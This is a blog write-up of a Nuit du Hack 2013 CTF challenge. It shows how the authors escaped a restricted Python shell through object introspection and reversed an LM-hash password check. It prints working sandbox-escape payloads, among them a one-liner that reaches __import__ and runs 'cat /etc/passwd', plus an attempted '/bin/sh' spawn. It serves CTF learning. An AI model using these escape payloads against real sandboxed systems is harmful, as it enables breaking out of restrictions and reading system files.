dimanche 10 mars 2013

[NDH2k13] Prequals - Meow (misc)

Hello there,

For NDH Prequals 2k13, the question for today is:

Can I Haz Flag?
(sorry, no screens or logs of all original functions ...)

In the following article, we'll see some Python black magic that will allow us to escape a restricted shell :).

The cat fight problem

Yeah, cat fighting! meeooow!
Basically, we had to connect to it through telnet:
telnet z0b.nuitduhack.com 2323

Then we're welcome by a Meow ASCII art.
Connected to z0b.nuitduhack.com.
Escape character is '^]'.
 _ __ ___   ___  _____      __
| '_ ` _ \ / _ \/ _ \ \ /\ / /
| | | | | |  __/ (_) \ V  V /
|_| |_| |_|\___|\___/ \_/\_/

Welcome on the only kitten-friendly Python shell.
Please use auth() to authenticate if you need access to
the ultimate furry function.

Some available functions:
 kitty() -- get a kitty
 auth(password) -- authenticate

So we basically are only permitted to use auth() and check() by default.
Yeah, we're basically stuck in a "Python Restricted Shell".

... or not

Digging a bit in builtins, we found out we can use dig():
>>> dir()
['__builtins__', 'auth', 'check', 'fight', 'flipacoin', 'kitty', 'purr', 'status', 'thanks']

Neat! We can basically list any attributes of  most objects (not the restricted one).

auth(password), authenticate the user for the second part of the challenge (Meow Meow) and give us a flag.
check() is the check function.
And thanks() give us this output:
>>> thanks()
Thanks to Guido, Glyph and pyfiglet authors.

The rest isn't really interesting.

With dir(), we can basically look in python intrinsics.

Python intrinsics

We you dir a list for instance, you can see stuffs like that:
>>> dir([])
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']

All those __name__ things are intrinsics attributes (or methods).
That's how you redefined some ops and all.

Our objectives was to get at some code, either by reading a file or dumping byte code or whatever!
Let's test some stuffs first:

>>> [].__class__.__name__
>>> [].__class__.__class__.__name__

Cool, we can have access to type!
It's exciting because we can list what python call "Method Resolution Order" on objects we don't have attributes (such as status, etc) as it will internally call the mro() of these objects.

>>> [].__class__.__class__.mro([].__class__.__class__.__new__([].__class__.__class__, status))
[<class '__main__.Wrapper'>, <type 'object'>]

Now we have the type of status :).
__main__.Wrapper ... just give us a small idea of software architecture.
Yeah, but we wanna create objects or stuffs like import?
For that, we need to see what are the base classes (and maybe go down by creating classes). And the object upon which all Python objects descend? object

object is a neat object

We are going to get object and look at its descendants as it gives us access to the following:
__bases__ intrinsic attribute give use the base object that an object herit from.
__subclasses_() intrisic method give us the object that descend upon that object.

And how we did it:
>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>,
<type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>,
<type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>,
<type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>,
<type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>,
<type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, 
<type 'property'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, 
<type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>,
<type 'instancemethod'>, <type 'function'>, <type 'classobj'>,
<type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, 
<type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>,
<type 'member_descriptor'>, <type 'sys.floatinfo'>, <type 'EncodingMap'>,
<type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>,
<type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, 
<type 'posix.stat_result'>, <type 'posix.statvfs_result'>, 
<class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>,
<class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>,
<class '_abcoll.Sized'>, <class '_abcoll.Container'>,
<class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>,
<type 'file'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>,
<class 'codecs.IncrementalDecoder'>, <type '_random.Random'>, <type 'Struct'>,
<type 'time.struct_time'>, <type 'cStringIO.StringO'>,
<type 'cStringIO.StringI'>, <class 'zipfile.ZipInfo'>,
<class 'string.Template'>, <type '_sre.SRE_Pattern'>,
<class 'string.Formatter'>, <type 'functools.partial'>,
<type 'operator.itemgetter'>, <type 'operator.attrgetter'>,
<type 'operator.methodcaller'>, <class 'pyfiglet.FigletFont'>,
<class 'pyfiglet.FigletRenderingEngine'>, <class 'pyfiglet.Figlet'>,
<class 'socket._closedsocket'>, <type '_socket.socket'>,
<type 'method_descriptor'>, <class 'socket._socketobject'>,
<class 'socket._fileobject'>, <class 'twisted.python.compat.tsafe'>,
<class 'twisted.python.versions._inf'>,
<class 'twisted.python.versions.Version'>, <type 'select.epoll'>,
<class 'urlparse.ResultMixin'>, <type 'collections.deque'>,
<type 'deque_iterator'>, <type 'deque_reverse_iterator'>,
<class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>,
<class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>,
<type 'thread._local'>, <type 'datetime.tzinfo'>, <type 'datetime.time'>,
<type 'datetime.timedelta'>, <type 'datetime.date'>,
<type 'OpenSSL.SSL.Connection'>, <type 'OpenSSL.SSL.Context'>,
<type 'NetscapeSPKI'>, <type 'PKCS12'>, <type 'PKCS7'>, <type 'X509Extension'>,
<type 'OpenSSL.crypto.PKey'>, <type 'X509Req'>, <type 'X509Store'>,
<type 'X509Name'>, <type 'X509'>,
<class 'twisted.python.deprecate._DeprecatedAttribute'>,
<class 'twisted.python.deprecate._ModuleProxy'>,
<class 'twisted.python.util.SubclassableCStringIO'>, <type 'grp.struct_group'>,
<type 'pwd.struct_passwd'>,
<class 'zope.interface.declarations.ObjectSpecificationDescriptorPy'>,
<class 'zope.interface.declarations.ClassProvidesBasePy'>,
<class 'zope.interface.interface.Element'>,
<class 'zope.interface.interface.SpecificationBasePy'>,
<class 'zope.interface.interface.InterfaceBasePy'>,
<type '_interface_coptimizations.SpecificationBase'>,
<type '_interface_coptimizations.ObjectSpecificationDescriptor'>,
<type '_zope_interface_coptimizations.InterfaceBase'>,
<type '_zope_interface_coptimizations.LookupBase'>,
<class 'threading._Verbose'>, <class 'twisted.python.threadable.DummyLock'>,
<class 'twisted.python.threadable.XLock'>,
<class 'twisted.python.reflect.PropertyAccessor'>,
<class 'twisted.python.log.PythonLoggingObserver'>,
<class 'twisted.python.failure._Traceback'>,
<class 'twisted.python.failure._Frame'>, <class 'twisted.python.failure._Code'>,
<class 'twisted.python.lockfile.FilesystemLock'>,
<class 'twisted.internet.defer._ConcurrencyPrimitive'>,
<class 'twisted.internet.defer.DeferredQueue'>, <type 'itertools.combinations'>,
<type 'itertools.cycle'>, <type 'itertools.dropwhile'>,
<type 'itertools.takewhile'>, <type 'itertools.islice'>,
<type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>,
<type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>,
<type 'itertools.count'>, <type 'itertools.izip'>,
<type 'itertools.izip_longest'>, <type 'itertools.permutations'>,
<type 'itertools.product'>, <type 'itertools.repeat'>,
<type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>,
<type 'itertools.tee'>, <type 'itertools._grouper'>,
<class 'twisted.internet.abstract.FileDescriptor'>,
<class 'twisted.internet.base.ThreadedResolver'>,
<class 'twisted.internet.base._ThreePhaseEvent'>,
<class 'twisted.internet.base.ReactorBase'>,
<class 'twisted.internet.base._SignalReactorMixin'>,
<class 'twisted.internet.address.IPv4Address'>,
<class 'twisted.internet.address.UNIXAddress'>,
<class 'twisted.internet.task.LoopingCall'>,
<class 'twisted.internet.task._Timer'>,
<class 'twisted.internet.task.CooperativeTask'>,
<class 'twisted.internet.task.Cooperator'>,
<class 'twisted.internet.task.Clock'>,
<class 'twisted.internet.tcp._TLSDelayed'>,
<type '_hashlib.HASH'>,
<class 'twisted.internet._sslverify.OpenSSLCertificateOptions'>,
<class 'zope.interface.adapter.BaseAdapterRegistry'>,
<class 'zope.interface.adapter.LookupBasePy'>,
<class 'zope.interface.adapter.AdapterLookupBase'>,
<class 'twisted.python.components._ProxiedClassMethod'>,
<class 'twisted.python.components._ProxyDescriptor'>,
<class 'twisted.internet.process._BaseProcess'>,
<class 'twisted.internet._signals._Handler'>,
<class 'twisted.internet.posixbase._FDWaker'>,
<class '__main__.Wrapper'>, <type '_ast.AST'>, <type 'cell'>]

When I saw that, I was like: Oh My God! *_* beautiful, I can almost create any freaking object I want.

We tried a bunch of stuffs. For instance opening files:
>>> ().__class__.__bases__[0].__subclasses__()[58]('meow.py', 'r')
Internal error: file() constructor not accessible in restricted mode.

We even tried looking at the code:
>>> auth.func_code
<code object auth at 0x7f9ab195b828, file "/opt/meow/challenge.py", line 235>

Yay! We have the real path of the challenge, spent a loooot of time trying to figure out how to read the file. Didn't manage it.

Hell, let's dir() it:

>>> dir(auth.func_code)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__',
 '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__',
 '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
 '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount',
 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno',
 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names',
 'co_nlocals', 'co_stacksize', 'co_varnames']

There is the co_code that seems interesting but we'll come back to that later.

check() is the same type as auth(), so:

>>> check.func_code.co_consts
(' Check a password.\n\n    :param string password: Secret password.\n    ',
'G', '$', 'K', '!', '%', '@', 'S', '#',
<code object <lambda> at 0x7f9ab195b210, file "/opt/meow/challenge.py", line 127>, '',
<code object <lambda> at 0x7f9ab195b288, file "/opt/meow/challenge.py", line 128>, 14,
<code object xxx at 0x7f9ab195b378, file "/opt/meow/challenge.py", line 131>, 7,
<code object <lambda> at 0x7f9ab195b3f0, file "/opt/meow/challenge.py", line 148>,
'%s', 2, '916F601F6A625DF351086CBCF25BAECA')

Oh, nice, we seem to have something that look like some kind of hash!!!
We tried bruteforce of course (with oclHashcat) but not luck. Back to some reversing.

auth() reverse engineering

Ok back to auth().
In auth, we can get the bytecode with auth.func_code.co_code.
You can disassemble it using the dis module in python (please note that the bytecode change between Python versions). Like so:

import dis
dis.dis('some bytecode here')

I must say that it was when I got lazy.
Doing bytecode translation to python by hand ...
And reconstructing a .pyc ...
Was time to eat.
When I came back, Celelibi came up with something like this:

def check(password):
 array = ['G', '$', 'K', '!', '%', '@', 'S', '#']
 cte = lambda a: ''.join([a[2], a[0], a[6], a[3], a[5], a[7], a[1], a[4]])
 tmp = ''.join(map(lambda x: x.upper(), password[:14]))
 tempPass = ''.join(['\x00' * (14 - len(password)), tmp])
 #xxx = lambda: # ci-dessus
 k = xxx(tempPass[:7])
 d = lambda k: DES.new(k, DES.MODE_ECB)
 obj = d(k)
 h = obj.encrypt(cte(array))
 k = xxx(tempPass[7:])
 obj = d(k)
 h += obj.encrypt(cte(array))
 return '%s' % ''.join([hex(dec)[2:].zfill(2) for dec in [ord(c) for c in h]]).upper() == '916F601F6A625DF351086CBCF25BAECA'

def auth(password):
 if check(password):
  print 'The first flag is: ' + FLAG1
  print 'Also, here is a secret purry function.'
  return 0
  print 'Wrong password. Meow shfffff.'
  return None

7 bytes + 7 bytes ... sound like LM Hash.
Let's check our good friend Wikipédia:



The LM hash is computed as follows:[1][2]

    The user's password is restricted to a maximum of fourteen characters.[Notes 1]
    The user’s password is converted to uppercase.
    The user's password is encoded in the System OEM Code page[3]
    This password is null-padded to 14 bytes.[4]
    The “fixed-length” password is split into two seven-byte halves.
    These values are used to create two DES keys, one from each 7-byte half, by converting the seven bytes into a bit stream, and inserting a null bit after every seven bits (so 1010100 becomes 01010100). This generates the 64 bits needed for a DES key. (A DES key ostensibly consists of 64 bits; however, only 56 of these are actually used by the algorithm. The null bits added in this step are later discarded.)
    Each of the two keys is used to DES-encrypt the constant ASCII string “KGS!@#$%”,[Notes 2] resulting in two 8-byte ciphertext values. The DES CipherMode should be set to ECB, and PaddingMode should be set to NONE.
    These two ciphertext values are concatenated to form a 16-byte value, which is the LM hash.

It basically use the password as two sets of 7 bytes (56 bits) DES keys.
Perfect for DES since it only uses 56 bits (because of the NSA ...).

So, we can now crack the hash and we get:
LM("SH3|DON'S S0N9") = 916F601F6A625DF351086CBCF25BAECA

Ok great, let's try.

Onto the end of the road

So we enter the password:
>>> auth("SH3|DON'S S0N9")
The first flag is: Int3rnEt1sm4de0fc47
Also, here is a secret purry function.
<function secret at 0x14e8050>

auth() when authenticated, it prints the flag and return a secret() function.
Secret function() is "Meow Meow" challenge ;).

Bonus track

A bug, unintended feature at the beginning (removed during the game):
>>> exec(os.system("/bin/sh", {'__builtins__': {'__import__':__builtins__.__import__}})
Internal error: EOL while scanning string literal ($telnet$, line 1).

Variables were not allowed ... but well we can still create classes:
len([c for c in ().__class__.__bases__[0].__subclasses__() if 'classobj' == c.__name__][0]('Obj', (), {'__len__' : lambda x: 5})())
(we also managed to crushed some variables using list comprehension and such)

Enumeration of dist-packages (found while trying to find a way to import):
>>> ().__class__.__bases__[0].__subclasses__()[91]().find_plugins(().__class__.__bases__[0].__subclasses__()[92]())
([pyasn1 0.0.11a (/usr/lib/pymodules/python2.6),
wsgiref 0.1.2 (/usr/lib/python2.6),
pyfiglet 0.4 (/usr/lib/python2.6/dist-packages),
PAM 0.4.2 (/usr/lib/python2.6/dist-packages),
pyOpenSSL 0.10 (/usr/lib/pymodules/python2.6),
pyglet 1.1.4 (/usr/local/lib/python2.6/dist-packages),
pycrypto 2.1.0 (/usr/lib/python2.6/dist-packages),
pyserial 2.3 (/usr/lib/python2.6/dist-packages),
Python 2.6 (/usr/lib/python2.6/lib-dynload),
Twisted 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Conch 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Core 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Lore 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Mail 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Names 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-News 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Runner 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Web 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Words 10.1.0 (/usr/lib/python2.6/dist-packages)],
{zope.interface 3.5.3 (/usr/lib/python2.6/dist-packages):

And the best for the end: you thought we couldn't open files, execute or import stuffs? Think again:
[x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']("os").popen("cat /etc/passwd").read()

Got that afterward (with some help). So no, I don't have the source code of the challenge :(.


Of course, we tried many many more stuffs but well, was repetitive: looking around python intrinsics and reading some docs.

heh, you thought you couldn't do anything in restricted shell?
This challenge just proved us wrong.
We can do prolly almost anything with a bit of python wizardry and if not properly restricted.

It also shows that it is REALLY hard to have a fully secure thing.

In the end, we had a really good time,

Hope you enjoyed the article,




- Python types and objects
- Python DataModel
- Python restricted shells 1
- Python restricted shells 2
- Python builtin functions
- Python traceback
- pkg_resources
- Python pointer dereference method 1
- Python pointer dereference method 2

Cool stuffs:
- Mysterie python bytecode decompiler

Other (cool) write-ups:
- Delroth - Escaping a Python sandbox

5 commentaires :

  1. posté à 0h53 ? T'es infatigable m_101 !


  2. haha, j'étais presque mort mais ça va, je tenais encore assez la route pour écrire ^^.

  3. tu tenais encore la (bi)route ? ça ne m'étonne pas. on se voit à la ndh alors ou à hack in paris si je peux me libérer ?


  4. Nice write-up!
    You got far M_101 and Celebibi!
    GG and thank's for the share!


  5. @Spid3rman NDH c'est sur que j'y serais. Pour HIP, je verrais :).
    En tout cas oui, si tu veux prendre une bière, c'est quand tu veux! ^^

    @Korigan Thanks Korigan! :)
    Yeah, we banged our head on this one but it was fun and worth the effort, might be useful when having a python jailshell.
    No worries for the share.
    Look at the references as well if you wanna go even further in python black magic hehe.